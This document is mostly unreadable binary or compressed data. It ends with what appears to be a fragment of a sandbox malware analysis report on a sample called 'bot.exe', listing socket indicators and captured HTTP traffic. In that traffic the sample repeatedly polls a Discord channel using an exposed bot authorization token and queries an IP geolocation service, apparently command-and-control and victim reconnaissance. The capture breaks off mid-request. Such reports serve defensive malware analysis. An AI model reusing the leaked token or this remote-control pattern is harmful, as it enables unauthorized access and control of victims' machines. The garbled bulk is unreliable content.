úäféø-½¾:s·VK¿'cØSöõÏGk¤1±clª#¶Sy©n<¼.Kº.[ÖjÉ~¸!ü¸Vd *à´S¬J?_\y!ÌË_¨í0ûÂÚD»Ý¬i6!8±±¾%?õj§aÁ]Úª¥\¸lÓÅFêB.ÙÍt\oZõ¨ð/+æQP#ÁGÛ«hÜû°FNR4ì¤ÙÐT¼)0{B )ñâE»³S$§¶JÓ7·ñúVliþ2dÐ¼[@Púgtjvµgâ7øÃàËN½Ì¤£àx¿¿Ó"îJì6ÏtuÝV$ôÖ5VuHößYÚ*ÇèPEÌÅÞ Ó¢ØÑoÚXÕÕÒ=ªtô.W³Pß%ÃÙØV¿H`p®õîlCPµ IØÛf<6ÕjöÌVéø-3]©ÖoýC2w© èViY)aÍU§×zåª»]#é¦!²RIÃH/5H×Thúéz|é:ÙZ$A·¬ØòPÚrþV½Gç«äß!ª?C°E ×©2xTUÓe¸»ÃQWùÂL? NUlê6>qL|A^îÈp«¨NÆdÅ«äsC´¥W²é/Þd®LeÅ×êr3^ß2@UµjÎå?å_³Ï÷Bí¬Úè'!L+ÏlQRoUT÷TsA< VPÏw4»mº#ä46DùÏÊjóöE#Ó²½nàÊªê,#rþ^=,A¢ý~vÑ¢à)êòëpBkHµëÙNxEuJ«Ö4ãèM[.¸%\ÄLcËtØ¤eJæL£OiÊÌj³@ü¶}ÂºF6,åYGÍ©Þc+dõK1¿ì}$U*"ë^TdJëXÝ1Rû¦²¦ÂðÙ¶À÷]eö«êÅL?RUj((r-Z¯ÈTRÖÁ¶ñH²´Ò!åÊY÷+üÂ8¦ì £ÞÏ/¸zºÓh·uPtæø¾ø6¬n,dâKKñÅ¥×BïÐ4x¨»&*£CÃ#¢XH¬¨+fºØY^ÖG®y ¶i¢ÞÛfm4PôNWz<ÙªcòÖ2syJÆ·ºqU*bAÞ¤)¹]µ@oæµö¢ÐàÔ½ÞsafªRÕ"*ÏDã+?ÓQ!]Íá=ÀÛÛÛ[ïûý¥Ç>¯¸ða7;ÉýÉ6Y=©j,½èÆægÕà4N¬yfR@¯+ªÁ½|àMsoõm¨ù°È°é§Æ(áQßÈCWRfÕÃÃ(8v [&b¬Á.õ¨ôë6)ýÐÑä:Ä ØWEæd'µ;_¸@[ÄY0üÝ¶ü§ûÂ§>òK/^÷3×<{ãÂkÒs[¶ÈÍæé®YÓ¥9qÔ¹nl|éNMÀºf¼ûòSSØÂ1Ð'ï{zÐ£JÓzMcí±?cl·+ÓÅµU³XeM°C×FÚ(,À°{9B1Ç£´ÞV®ôÁRãvxHA2l@ÑEÚ*2E:NÌñAê¶7Z¼×êêqÂlt"Õ;Zaül¨òÕÌ×CÏæ¸Û§YÀà4Mç÷ìß³?=òÈ|ýÌÆ?ÿý_.¬ì/®yVqÃ¯ÑY¶æXèp«OàeÐM!!4H| ü$¨¥áíF¼Îï6éBWÀ¡ËÐøeË Íe¯l¢_ßr8 4½=ÀR*2ETðQ¹z{Ï6à¡È¶lÑ[Ëý:,×.hW¼v¾åÁ8ºúþV®T¸ÍÐ#uå7µzÌ¤·§GzâïEè÷3}¡àRlþmù½ÑÚ÷ ],Ó)8±À^@+Ìß×];(ùE4KeÿP5¥inõÕÕV/ÔÎÚéÍ»þqã3o/Vö'×>+½áéÅ×TU8sW0ÉdÛÁîÎPeGì(¸±Ñ%ÐnAÅ;ÕNt§¾Ðà0Z¿È'[+¡¥;Ñ¸³àM}»»ð}Þ54ûlE9ºmÍY£OÛ*÷)Á³GÏ%+ô |Ä#ÚºàsÞ«SÒ É±TþÔ#ï§]Y§Õð¨¥Ó<ÝÑ¿ÛÀ»cÀ`Lc}!väu¾ù=ûöØó°Go+-áõÏ¼#_¾ »öYÙc_^TûÑi6`yù$M×¨ïY_4Ê·[å|¶¤]qbcU?5ÕuÆ°uZoN4_!Ò¤Îiî9óJLÃóGEîãdÓ¯¨í &96CÑÎ(ÙÖ¯]$½¶Å&µn¾ËAnT7Y®»]§î(¨´Õu~ËFÛm®ýòÉÊ"ë³ñïµ\³ùl_§Ê)ÿ4·[ÃH¾ï ük¤`©dÔìA×¼N²¡K¤zT´eü>]±¤´ò«dH7uo{Vè²ì û°öò¤âc¿Alø ³\·w`9í[·r¹>S¿|åòuv«ªÌô^1Ã¬R(Qd¡°K®&I$©ÀDÁ³T-cI)Ï¾¤Êêú6(xG~©3kîëÒz%*à¾Êð,Ó¾f¤C%MU);8dÜCIYeßa¦RÓÅgdBÌï¹`aïõ{výö¹Óç% _]÷¬ùÇ¼ »¸<'Ì$UÅÛªMø¿©ÞyCh üH»A;2H!eÏ²K|>f)¬Æéæ}aK/ÊùFÄFäg>²(p*¶h¨6¹8ÕéÒQ8£ZAw9±º¡2o,÷¬6ôê¯Z'³¶áÎ³jf''¸V_èÐÆ}Só{.xøÕ_¦éÙlÜûùSùÞ;ó×=kþ±/È.Ñæo?9cbv`KªMuÖÚjÙP÷:°ÄîØÀPØwhzáðº[MAÈã¥W·¹ÎíÜ_Â`a®2Íê§?Üwm=f6¹à1h ÁÛp·9Ü¨CmÐ§1*ß!Od£ÿèºrN@ßà{Wqù%{ø^ÐÙÙJw¶ÞuìïyÏò®µ¹½óxÖâã^0/ÞåÐÒKJ C7Bó°¦oëFåoÿÏCãQ±Wk(<°éã¦IÕP#ú1Ç2¼Í3báÊm?so% NAÎ-tÄ¿ËÔî]Ðî=µ´(Tr,bæAÔs@nivöZz öÛàhßw¥´z¸×Îômßë6¬Õ·Hpã|V[îä:>=ÝÀýøG]sÙCx»ÁÊÊJ/<ìËög=ö©Ï:zïÉO}âc§ÞðdåÅGgòA2ó®°¼gÒmô¤´5^uªñòyoÄa? òhÒeiIÕt0WØB;PÅã³Ü±ûu¬ÚÕq(ÁÂeÉlÖVL·¥SÊÄ×·U¨ý4håëøébÒTV³¥åÐrÇÇ}öÕ/.²î©JÔ2Ê^°Ì566¨ÄÓNRÞ òà¢¾û@:Ó¤È8Á¤Ù>[s1.»ÍN|S(m1²kç"¬·¨Î¤NIl}Â§b!$Í{ºÇ:(-×á9]±n±ÁN×,atxÊw]]QrÛü]ÕÓÅïHä¢4ªë'Ñê'`î7o!¡{Ú$ÕÅÇÊ#XN¦ËåCyÌ±ÌO`sÈ¬ÞItbUS½ü[i¢6d×e¥Bbè=NÂËxyìr÷t¤n©äY1zòÂNêH&ÈÏr¨´Þ\dHvafÑfïý¢¼/Êv)±%ÍºLþ5ÊaU¾ÈõÎõ6ËT5rnýRUA¹ûâÝÊ&ÉÊÒÂc®<ò¸yò#¾¼´xnm}skëØýþÃn»é¶c'Ï®ÑïúôíoûàÇ/Ï?íI_ñÔ§<õÐá0Kxk'ðÜF$^zÙü|IOQ×^vñÕ<ä¹ÏxÚÛ{·ÏZ?úñlyõÁõÍ6ÔÎ(hßÜ-5¸0Gñf:ÝøGá ¦µÏÆ\·¯85Mñ@ÓÂKçgÈÉO'°Äµ¹P¬¬5öh6W¬!`¦C*7X¸»m!MvÌû½ZV{Ui÷>õÑ× /.nn¿é³]XZNä×]÷¸C¯¾ì¢ß<öÀûüí7Ý~ìdÎí;|µ©õKann>/¶>õ¿Odaïþ½û·ä=½3\ÇgSd1Jõ ^zÐøô|ª-o8ÐªûôÃ1i£´®´8õ&Õ39}üÎ¾AFd©ä*ZÚÆH?B«Ê=¤ªê]YÀÚK4%¹ e[ÝÉ¶ÆØ5A$âÐÓàºÁ¼×Ý{ÙWyÚ£¯Ù»º²±±~Ógo¢vï7$w|íýoü«CÉc®¼üiO~ÂáÃïÁìÞ¥ÅÅO}úÓGÞ¹µµ}ýõ×_°wueqáÒ÷ÃÓwôSÿÂ?ûåc§lõ¾lè/Ü¡êÇý;A;äJÔéòÃÅàÉ{jÓ[ð×fFk²kÝ´ÆÜ'§ÅC cÉA°LBq=ld9%+x¶ó«PþÒÏ8Ñêi¸$²uÛy t¿1JÓP¾I<(Æõ{ÞÌG%ü³@p~ðîõ¼ñ-Ä'\YÂ_¾ëø-_¼ùk¯½îºëÒ¤øÒm·S»÷1¹aïêÊùóço½íöN¼`ß¾G=ò+ËK;[ç¿öiyÁS®¿ëþS¼õ/Üq÷©sçðÇgÌ²Îð~$}ïØÍ4X®$K8h2þPQÓNu»=îð²¬àHÐêKË¸ÊÓ qÅ¦ï0Í´a«8#/¹UÔBd¥÷Bhëf¢sG`o§õò-jæy%¸5Lop8ð/»°*Ò^/ïW,Ü2öWm°éàÃaì¯%C&wlËiÕ)àmcboðZ'AÕl@¦aì.hõ$Ù¾O%É÷l|ðo=°?æÊËúä'ìÝ³çÓû§î»ï+ÿøk¯9°³³}ëm·¯o{Ô#ñëî¿ÿþ[n½õÜÚú¹ì¢=+KçN=ø¼'^ÿìÇ?úßùþ{NNvtfÑbWL³ªµ%Ðô9ÚpbÇµÏIÚ4¡åbo½<&ÜY~®Õî@hçxÜ´0JðÛhÙýÞæ`ko)wÇoÃÔ¿Áõ^»Ú)ahî§ÖvZ2lkrÕÿKöPÐG"[ûâ7d`CN»!ò`Ë¼ÑÊ|F³®ÛÀ\Ph}Jâù=BKX·hÄÜþÝ$ËäùµÌ Ûwá$ùÐÝü?oÝ?ßð°Ëúä'fiúù[¿´~îÜå_~ÑN2·°$!½!@íVºæîètµèÏ4/ThBáCsR'Ú'îì¡)¦`Æ}VÂ5apGÎkåã1=0[¸4W*÷°üÔT@z-#»LR·.©Ó\éÕ5cB_ÄñU´´ê±;HÆ¯OGc=ISÉBJ{UTÑ;ñ¥«äÓ 4¯¢ÁV4I¿ìi³)ì·1Ñþ[ËXomt\j£'YÖµL¯¢@Er¥ Â`è¯Æ°IÙB 3¾0Hæ*5ãM+2ÄT7xæ*°!§qlZ'ÓL~êVRdéøi?.uXê&·sð^¦v¥k ÙDÿSRäV¸]]u"%¡Ê¹5ØØAéZJ¡NH]]¤9|dÇ3^F¡óÍëª6¤"K±GHzSÛÂx¤4¥ü°o5RTÔxPu²XW[ymv6\´$>~øþjO²yý~õ³yøðáú¦íÍnºé£ûâ}k[{/¾<;tÅ¾d`ðWà=éX&£Q03B"ñý°;½!×Oûj»©cÚÁovÉH,öa2]79æ¦Qè¦´S»*=Iä³kÉG%¼²4ßÚÖd.ßwÀÑóÜ=x·bãcÞÁßýä÷Îæá¢ê±tÙH+m:eYç¤Ñ«àÔ¢ÓøÚ BT%û¨?ÍÈàgÇº «äi±¥ìMÐ)àãb²µ©+mäÛÔÕµe3)$ÌJ1æ%w"Ï6KÌPa7æqvöeò-Kl:Ì®[3H´|µ]½[Rå*À]xïZØ=ÌLëYNû°jCO°d¯'ù¾ÞæÎ©VÜqg®ð²Ät"Ø¿6©7xà!ßÍÔa§ctï6|\ZuqcÒXÑûeÌ.pNJºi{ÛU'c®ï$QÖÜ·>uÈ<¨Bè±ôYjríö"Äµ¾Ë7S1^9¸N3EÔlJÂéGFÓ²5ìºt²µTÔ³ZØu@"´jD+×GV÷!;kz:Ôí=¾¦^HÁAÒuÚUüáÆðäj:ñ`Û¶ØËÔkÁÂ<ûÁ44ºùhÚ9µ*6Ø¤7M!|¾ÓìDAÜ4ªêð¼¬Då±~Û ¬íý^)Ar\è~:ioÞÅÈÎùK ªÝ]Ð°nXÕQTë9Û2·ðãUpà]ô"´l(èTØjPré5lôìþeúªÌñ68¡'¸Ü-Uö¨¼á8>B:QÐþðàoÉ4&§÷¼·)âz-ÞªX§æÌHl-Fý¸¾Y/V2Ã´í5´eÀÐ#Wß Z6 ùî¼=x@/Ñg+¤6>=çêM{{/E+{a¶?FMõr^±º¨{7AÀüMß Óén¿«Ø[°ºQ(ïÙ,sD¨ zZ¦ùja¤¢Mqp*ïù]Îª¡¦r~ÏÏPymGi.ûrÒaåh#o°¤úÏúJ¹yt.)°¦®= !¹JÈc)´¦V Êcÿñé ½\$¹~ Ào&I%õ¡p¶SµR+Y®3øÓU~´ê&uÑU¨MØD#«Ø$9!;p+%ñ¨Ií "~È}uàø°|PMÒ±±¼FGV·ìÁs1S»¯Ó´åeVÎJª«Kd"Ñà)¯¥R®ùù«¯qgÒÚfp]¼SSaV¤Ý^bGàV ÕÿôTbZi?æXþ ?5ÝðUËE'Bº1[Sßa§¾/Gü6¿´!\[¿^ý> qw/bÙTfCfuz$#óðô¾GdÓp¨âpãIß¦É{ª®(Öö00À-ÇHÑÞÁèß÷z²á`Ñk*Òxøq$~uKßH£ÖÒÍèä´i×¼î×2`°+{b,Ë´çgg¢Þ!0ÕÆlöÈy7uÁvKwGumh«<*:<øyïk¬â]·'oùkº6O®KZf×D3´±´µGLÕìÃ¶Ï#?,´FÛÅ:ÜVo×Aì.£ÜJAfìUö·=ø±}`R§ÝÐô·ceOÀ¬Ì#'K'*j`DÙlFðÛcÊ´+ÅJI_w¤iXAéErÚÔØcvZ±Q¢Fm`ûc×ZÙl¤NWÞ²0hæéÄÛÆ&4jÞrq£ïEP¹á1¥W¥K_Tø±è7cqV½ öªmQá £océ %6ög×¼²dÎ£7-!í'H±ý[¤/Ësb©çë30%ïÑIË¥<-mý.4Dä´¤ÊIýÂïD5)6ÔÍøçå½[U¿Å<ó;A£g±ÿHÈà>^×æ,~-0¼6þæú¤'Î1êYÎ¥âþ©KÀ¢!$"hÁyÌa¥¨eöÍó[ç×·Ïoloned~yyaiyaieayeûüæÖùõõ$IWèMÛÖùmR`ëü:§äÑûÛçË&Ò´`Ë§ÁÜÏQO³ò }¦ç)ïsÄ>¾.STy[_\Jë%aHéÜk|î'V0§ÑSUÂ ÅeG¹Ér[Õ5Ø5ïë2ÁRé/3úÒ¦¿ÕuiÈÍ2Ø6Fsv§Ì´QtWZ² ]Íôá¬*$T<ùÚe ¥(æêCåî$Ýè/©æ,ß³þjÍzp«ºEÊ%éM1$aØ\=Ëü|BÁZXMê]&©»äþ*ñ>àç¿ì5ÿþ+;·ÿ?¿ý;vÛ¿ù×ß0Ù_²åÝËûGÿáQ|Õþ{$Ûç××N]ý?þ¾¯®nÜõ¿~ìÿýØÊü1Ïþ×¯ýÕßN»ÞòWüÕmË+«É!bOÐæ¤w1(c$¸;2¦`®!ì¤D '°c)Dä±)µo¢SrV@2ÖCY\îG-UTª½CR&°Êâè¢39øÝ¿óïÿü¾cgî{ô»ñ;nù¶öKäëþçw>yûä±µÓÉ<³QïzÏw¿ôÄµ ÙÚX_;un'¹ãußþ¯ù§ä1?þgoûw_ÿßúºÏ/$×~ß;ÿøÛoûÅ>öý«Ë+éÕßþò¯L~ïZötÁþ-åñ>ähÙ¨«;®=èÈf2¼)ôß°Üpâ3R71a òÊìÛÜ©XZ!thÈRººÂ°Ðt-ú%§J¨Ý)â-2m.&C@åE¡×Ý6$»zFÔHzz·Ï¯o^ÛIòsÇOß{üô}çÊë«þß¿ýÌ?|öoþê/ÌOÜyëw<ü×Þñ+ÿæ[¸sþG^û?>ôÆÿú¡7þ××<7¡×òdgçÜ]§î9öà=çÊë³wÝÙ×<ÿªw¾ùuÇÖNÜ:_!V @ÿíRèÀÜ·sµ¥nW~¬cÏKÆêÿ)ócÔoGÞb6Ï¤.ç.lþÕ)c»ºçT{è($§Æ14éi&`z[ù+º]¿)j¯J¡u´å3Ç¡7âñÆÇ«èú}ÚÏ±U =ÛÎûsÊLWKËóKË«ûì_-é[]X.2çÂ5/eò¬=ùá¿:õÚoùÚW½ìMÉzùæÆú¾ïûoùÙ«ÿÙßî¿pÿÅî_%¨Òkù¯}åoyÇ/|(I$·ÜüéõÅ/;pñÃW<¹èÑbo¿ði0lÞäé,FÆº|ri´½Ê¾]B^I¹y¤ReôaÛI¹¥£O,¦¥YWEwÏ[fÓA¿É¢zùÔ§öãÛÜWVBjÊâÔòÍ².>vNÎ"?]Ð$<úk5ÃeÀ5'TÆiÂç gýqBÕ5H£è1=ÓXàU8¿M#rY³"Óbv¡Ê(?ø²)½]Sd5SL¼[UaíÚåèÀ>¼T`Tgñ-G¬0'27`úË|_Uº$µõÍ¼P¦Fk)úvÈ@>áýz¡ôÚÆ«©°jWVÖPM6,Þª0?¥ÂC$"E÷ÌIç¹ñX"¬ã[T:Î\£ë58Ä"ë2vÒ5²Ú øÁàHÙñ0.ã_t*1ÄÊ¼JsÊun0~APÅú¶!×cÕÏgò÷[¿å7_ò7Ö×^÷ïN\uñîÿòdkçô±õOüÓÏþÅ÷üð%§ï½ëÔ=w:±M²C¸æå7Eßøò/½ü¹¿ý!:«¯¹î:Xzuÿ¡Õýé¿¥eïizÉô§ÙY'ÍÞ"Uceå.\qthiñÿ¸GSºGeÍìèfò¦¶GÇÑû´vgI]é"öh¢_3è¼ñÙ"üpÏ;2¬ØÞØÙIò"_ÛÞ SvùÚÚ{ô±^õÿü±;>}Õ{îk~âc+ËìDï-¿ùÌkÿýçî?´ÿ¢KÉÚçÞöö[þú¾/yë{Ë#Äk§Nð`b§(u¶á4r@¶UØk G>ãäsÕM'ßw6¢K¾'À2RR«}mPu!ÒAÆ±ÿOqò¿L+2pY~\àêkÊ,,ÝÅ6¨ÛHIØLNº®Ù£¶÷[UºÐy©7:9u.n¹p8[Ev©uÆ²îoÁ.ÓßzxC KÞ~DV~©v tÐZuy¡ÐìBTpû°Pp,Ël×²KÃ/v3°#ËÓ5ÙFÃÆfVNxöÉó(ìTÅPÌÉdàO¡¶'¯g@¨ê-:=ÙÖ2Ò¼"b'#¶;? 6]B8ÚÓ±]o+TZÏðø^±z* ræ4}¡HT9¹;2:ê?UÌ0ÛÜH{4Í<àù¥V²dnnß¥<¤H}Y27à//äÀ\2ÇJ¦Ë^øzÿ¯=üzÿO>ùæäâKÑ»¼|Ájaïeû/ºtÿE^pñe+û:±ð¡_¼ô[î¼ñ/nþ"Eq×[^úãI²<êÌ Ô6±~Y8ußA¬e{Aµ¬³¿z»íí[j@{ÝÇÃf¼95">O |[ÝG¶5MgÂÎ)ûài <£¸[¹²WhÙ9£vG·ix YGGmHGbô9¯ø%½ï±T@?Éû¾ïø{ïb·%¼§ï½î%®^ppeÿAú¤õSÐc½û/>R¹ç®SÃþì¿¸4·Îo¬>Q~ðDóL*.=ÊHiTñNÃ¹ÊÑE¶ÖÈµth^q[åF¿es¡G!IÆ)ÇEeeÓä^ù(/É`e¤|KÒEÙ11ôOµ6®úf-©kWæ\T=vñ¬°÷vòn:Qr¬NZö×è¬]9½å9¾`qôûú¹!prC Ôw(íAäUrÓ=ØM5¯JmÆF_yyIßà%ÇÞÔWïØ$¤Ñ¡Òe4Ñuß0A¸kUÐkÉ¶W2¼ë:íÑ¨OìÆd-ÈnÔ!}=Û"$Ú.v_MôÂgÙ1æáÈMdÀPßI")"ã¾H]Æ&RYoÞÂº\8ºk¢EaêÒÒøª¢BN]suéúa®»#QÂ7Ä«EöÝ×±Ý²:nÔòªJeQßáòÓþªøêI(J2{¾ñøyqUìT57ÙÔ(odD1ÐbÐ"û+#¡¥üsð¦fòAêgÎæ&µñ©>Ái¢Ü¥¤%R[éÃ¦¨å"ÌQÅCþª9h=feæýóK+«d?Õ&hÆfvpþ\X^^X^.Ù¥òçJmÍ®î?Dï,,-§û/¤AÑo 7P!Ó4ÝÆèÐ Ìi¥kèµÑm6pµ4Ä}+ÐqÏ-¿áª=Â8èÊjla6@M_ÆHs¬Pç4BçÅjVÇeÀd w¹Ë¸:Î:HüVÂ[æþÃÓÓ!ÐK+éþt¾¶r%÷5n¹Å¢Ê^À«ÔÜ-Ïôåf0ßXºÀ[ëUÅ¥Å¦TKïÌè mQ¤M(Ö#sbÃVëy.üûkÙGïî·ä½3Aö¿dÙôÂ36§£ÁÉfnZkspü¡¶±¢Ø+ÎUê6TySe&Ûp(¹à¹Pc`Ä|cÞ0r®¿ì\^ËºÚyN«5ÕþÖw¸ÂÆáFLµ/Y3@»ºèA`Æ))ZUÈòRq¢¢¹iµ¡y*¦àkÒÓv|K`Pq=³ÎàUä&UrNì êdîÈ±lÄÉ¡JWp-NôMÖÊs[¾õø&ÜîÈ7JººdAFyý6#þy]+Nê#)AP*ø¦¥ÃµM^H5æ1B@îQQæÕ*ÉËÑk*ä¾uµ_Ò#2 .ÈsºUáê5Zà¼YÄê¨Z¬VeÉü©*ÌªImðÔKý¶ KÕ {"ä¨ËEÖ©c¼£ÅôKu¬³|7³R!a2ÃÊ'ÔLBc¤ª°Bzuå0 èÓîM¿êoWÅXí÷vª½ð9ÆãÇ&|aàìY A¬S_/²¡à8MÖQ[¿èBé¸_J§ÍÖI@Úì#0Û·kOC@J:Âì!Ô6Á¬Î ~À{m®7Vº;m¨KÍÕ²Gj+Z"; File: "PCAP")5d:T19e9,file/memory contains long string with (Indicator: " socket "; File: "_socket.pyd") file/memory contains long string with (Indicator: " connect "; File: "_socket.pyd") file/memory contains long string with (Indicator: " bind "; File: "_socket.pyd") file/memory contains long string with (Indicator: " socket "; File: "_overlapped.pyd") file/memory contains long string with (Indicator: " bind "; File: "LICENSE") file/memory contains long string with (Indicator: " bind "; File: "LICENSE.APACHE") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; File: "bot.exe") Found reference to API "WSAStartup" (Indicator: "wsastartup"; File: "bot.exe") Found reference to API "Non-blocking SSL socket needs to read more data" (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8040000.00000004.mdmp, 00000000-00002724.00000001.173435.F8040000.00000004.mdmp, 00000000-00002724.00000002.175358.F8040000.00000004.mdmp, 00000000-00002724.00000003.176644.F8040000.00000004.mdmp") Found reference to API "Non-blocking SSL socket needs to write more data" (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8040000.00000004.mdmp, 00000000-00002724.00000001.173435.F8040000.00000004.mdmp, 00000000-00002724.00000002.175358.F8040000.00000004.mdmp, 00000000-00002724.00000003.176644.F8040000.00000004.mdmp") Found reference to API "GETHOSTBYNAME_ADDR_IS_NOT_AF_INET" (Indicator: "gethostbyname"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8140000.00000004.mdmp, 00000000-00002724.00000001.173435.F8140000.00000004.mdmp, 00000000-00002724.00000002.175358.F8140000.00000004.mdmp, 00000000-00002724.00000003.176644.F8140000.00000004.mdmp") Found reference to API "WSASTARTUP" (Indicator: "wsastartup"; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8140000.00000004.mdmp, 00000000-00002724.00000001.173435.F8140000.00000004.mdmp, 00000000-00002724.00000002.175358.F8140000.00000004.mdmp, 00000000-00002724.00000003.176644.F8140000.00000004.mdmp") Found reference to API "Implementation module for SSL socket operations. See the socket module" (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp, 00000000-00002724.00000000.171515.F8040000.00000004.mdmp, 00000000-00002724.00000001.173435.F8040000.00000004.mdmp, 00000000-00002724.00000002.175358.F8040000.00000004.mdmp, 00000000-00002724.00000003.176644.F8040000.00000004.mdmp") Found reference to API "Does the SSL shutdown handshake with the remote end." (Indicator: " shutdown "; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found reference to API "Cannot create a server socket with a PROTOCOL_TLS_CLIENT context" (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found reference to API "Cannot create a client socket with a PROTOCOL_TLS_SERVER context" (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found reference to API "Underlying socket connection gone" (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found reference to API "_ssl.c:1071: Underlying socket has been closed." (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found reference to API "_ssl.c:1075: Underlying socket too large for select()." (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found reference to API "Underlying socket has been closed." (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found reference to API "Underlying socket too large for select()." (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.C11FE000.00000002.mdmp") Found reference to API "All functions which accept a handle object also accept an integer --" (Indicator: " accept "; Source: "00000000-00002724.00000000.171515.F4E90000.00000004.mdmp, 00000000-00002724.00000001.173435.F4E90000.00000004.mdmp, 00000000-00002724.00000002.175358.F4E90000.00000004.mdmp, 00000000-00002724.00000003.176644.F4F50000.00000004.mdmp") Found reference to API "used with a socket or two-way pipe." (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp") Found reference to API "threading shutdown instead of interpreter shutdown." (Indicator: " shutdown "; Source: "00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp") Found reference to API "S_IFSOCK: socket file" (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp") Found reference to API "Note: The wrapped version will only accept the object format" (Indicator: " accept "; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp") Found reference to API "*reuse_port* dictates whether to use the SO_REUSEPORT socket option." (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F713F000.00000004.mdmp") Found reference to API "create an AF_INET6 socket able to accept both IPv4 or IPv6" (Indicator: " socket "; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F713F000.00000004.mdmp") Found reference to API "create an AF_INET6 socket able to accept both IPv4 or IPv6" (Indicator: " accept "; Source: "00000000-00002724.00000000.171515.F70F0000.00000004.mdmp, 00000000-00002724.00000001.173435.F70F0000.00000004.mdmp, 00000000-00002724.00000002.175358.F70F0000.00000004.mdmp, 00000000-00002724.00000003.176644.F713F000.00000004.mdmp")5e:T1054,GET /api/v10/users/@me HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI GET /api/v10/channels/1567592947002908814 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI GET /api/v10/channels/1567592947002908814/messages?limit=1 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI GET /json/?fields=status country countryCode regionName city zip lat lon timezone isp org as query HTTP/1.1 Host: ip-api.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive GET /api/v10/channels/1567592947002908814/messages?after=1568271633876000831&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI GET /api/v10/channels/1567592947002908814/messages?after=1568272184554557460&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI GET /api/v10/channels/1567592947002908814/messages?after=1568272263772381308&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI GET /api/v10/channels/1567592947002908814/messages?after=1568272276011352136&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI GET /api/v10/channels/1567592947002908814/messages?after=1568272292512014477&limit=25 HTTP/1.1 Host: discord.com User-Agent: python-requests/2.34.2 Accept-Encoding: gzip deflate zstd Accept: */* Connection: keep-alive Authorization: Bot MTU2Nzk1NDU5NDI1MDc1MjI0Mg.GbefDU.6DmeYIy4gFpAvrW1Xzz8XbfnhtU0GIS2qyk6fI GET /api/v10/channels/1567592947002908814/messages?after=1568272313302913185&limit=25 HTTP/1.1 Host: discord.com User-Agent: 